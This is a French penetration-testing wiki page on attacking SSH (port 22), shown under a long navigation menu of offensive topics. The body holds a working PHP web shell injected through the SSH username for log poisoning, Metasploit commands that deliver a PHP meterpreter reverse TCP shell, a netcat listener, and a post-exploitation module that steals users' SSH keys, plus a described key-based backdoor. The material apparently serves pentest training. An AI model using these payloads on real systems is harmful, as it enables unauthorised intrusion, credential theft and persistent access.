Bebzounette
  • Bebzounettes
  • Active Directory
    • Recon
      • TCP/UDP
      • DNS
      • NetBIOS
      • RPC
      • LDAP
      • HTTP
      • Responder
      • ADRecon
      • BloodHound
      • Network Shares
      • Password Policy
      • Enumeration
        • Domain
        • Powerview
        • .NET Classes
    • Lateral movement
      • Code execution
        • PSExec
        • SMBExec
        • WMIexec / WMI
        • ATExec / SchTaskExec
        • 🚧DCOMExec / DCOM
        • Powershell Remoting - WinRM
        • Crackmapexec
        • Service Control (SC)
      • Credentials
        • Finding
          • Guessing
          • Bruteforce
          • Spraying
        • Dumping
          • SAM Base
          • LSA Secrets
          • LSASS Process
          • DPAPI secrets
          • NTDS.DIT
          • Group Policy Preferences
          • User description
        • Impersonnification
        • Cracking
      • Coercition
        • MS-RPRN (PrinterBug)
        • MS-EFSR (PetitPotam)
        • MS-DFSNM (DFSCoerce)
        • MS-FSRVP (ShadowCoerce)
        • WebClient (WebDAV)
      • Relay
      • Kerberos
        • Kerberoasting
        • AS-REP Roasting
        • 🚧Pass the Hash/Ticket
        • 🚧MSSQL Trusted Links
        • Forged Tickets
        • 🚧Delegations
          • Unconstrained Delegation
          • Constrained Delegation
          • (RBCD) Resource-Based Constrained
      • GPOs
      • DACL
      • Certificates Service (AD-CS)
      • Privileged Groups
        • DNS Admin
        • Backup Operator
      • Built-in Misconfigurations
        • PASSWD_NOTREQD
        • DONT_EXPIRE_PASSWORD
        • MachineAccountQuota
        • LAPS
      • CVEs
        • EternalBlue | MS17-010
        • Zerologon (CVE-2020-1472)
        • SamTheAdmin (CVE-2021-42278)
        • Certifried: (CVE-2022–26923)
    • 🚧Persistance & Exfiltration
      • Golden Ticket
      • Silver Ticket
      • Skeleton Key
      • DSRM
      • Custom SSP
      • AdminSDHolder
    • 🚧Cross Trust Attack
      • Across Domain
      • Across Forest
    • References
  • Systems
    • 🚧Windows
      • Informations d'identifications
      • Configuration des services
    • 🚧Linux
    • 🚧Mobile & IOT
  • Web
    • CheckList & Méthodologie
    • 🚧Pentest API
    • 🚧Wordpress
    • 🚧Jenkins
    • 🚧IIS Server
  • Applicatives vulnerabilities
    • Buffer-Overflow
  • Thick Client
    • Thick Client Methodology
  • Wireless Security
    • WIFI
    • 🚧ZIGBEE
    • 🚧ZWAVE
    • GNU-RADIO
  • Network
    • ModĂšle OSI & Adressage IPV4
    • 🚧DOS & DDOS
    • VOIP
  • Physical Access
    • 🚧Lock Picking
    • MatĂ©riels
    • AccĂšs physique Ă  un ordinateur
  • Forensic
    • Outils de Forensic
  • Information gathering
    • Scans
  • Services
    • Echo - 7
    • FTP - 21
    • SSH - 22
    • Telnet - 23
    • SMTP - 25/465/587
    • Whois - 43
    • Finger - 79
    • POP3 - 110
    • NTP - 123
    • MSRPC - 135/593
    • IMAP - 143
    • SMB - 445
    • RDP -3389
    • References
  • Github Repos
    • Repos Github
      • Windows
      • Pivoting
      • SQL Server
      • Web
      • Active Directory
  • Blog
    • Guide to NTLMv1 attacks
    • Local Privilege Escalation through ShadowCredentials
    • Resource Based Constrained Delegation in Active Directory
  • Contact
Powered by GitBook
On this page
  • 1. Payload Basiques SSH
  • 2. Exploit SSH en volant la PGP KEY
  • 3. CrĂ©ation d’une Backdoor
  • 4. SSH tunneling

Was this helpful?

  1. Services

SSH - 22

1. Payload Basiques SSH

On peut injecter du code php dans la connexion SSH. TrÚs utile si on a accÚs aux logs ssh depuis une interface web par exemple. On peut ensuite aller voir les logs et donc exécuter le code que nous avons soumis.

ssh ‘<?php system($_GET[‘c’]); ?>’@<ip>  #permet d’exĂ©cuter une commande

On peut ensuite gentiment demander à metasploit de nous créer un meterpreter en reverse tcp :

msfconsole
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set lhost <IP>
exploit

On peut aussi écrire manuellement le reverse shell.

A. Accéder aux logs pour exécuter votre shell php

(var/auth/logs)

B. Vous pouvez ensuite exécuter directement votre commande

(var/auth/logs&c=<votre commande> 

C. Setup un Listener

nc -lnvp <PORT>

2. Exploit SSH en volant la PGP KEY

Si vous avez déjà exploité la cible et que vous avez un meterpreter dessus, vous pouvez utiliser la post exploitation de msf pour voler les clés autorisées.

Ce module collectera le contenu des répertoires .ssh de tous les utilisateurs sur la machine ciblée. De plus, les hÎtes connus, les clés autorisées et tout autre fichier sont également téléchargés :

msfconsole 
use post/multi/gather/ssh_creds
msf post(ssh_creds) >set session 1
msf post(ssh_creds) >exploit

3. CrĂ©ation d’une Backdoor

Ce module ajoutera une clé SSH à un utilisateur spécifié (ou à tous), pour permettre la connexion à distance via SSH à tout moment.

4. SSH tunneling

PreviousFTP - 21NextTelnet - 23

Last updated 3 years ago

Was this helpful?

On parle du tunneling ici :

https://white0x3paper.com/2020/07/07/tunneling-et-port-forwarding/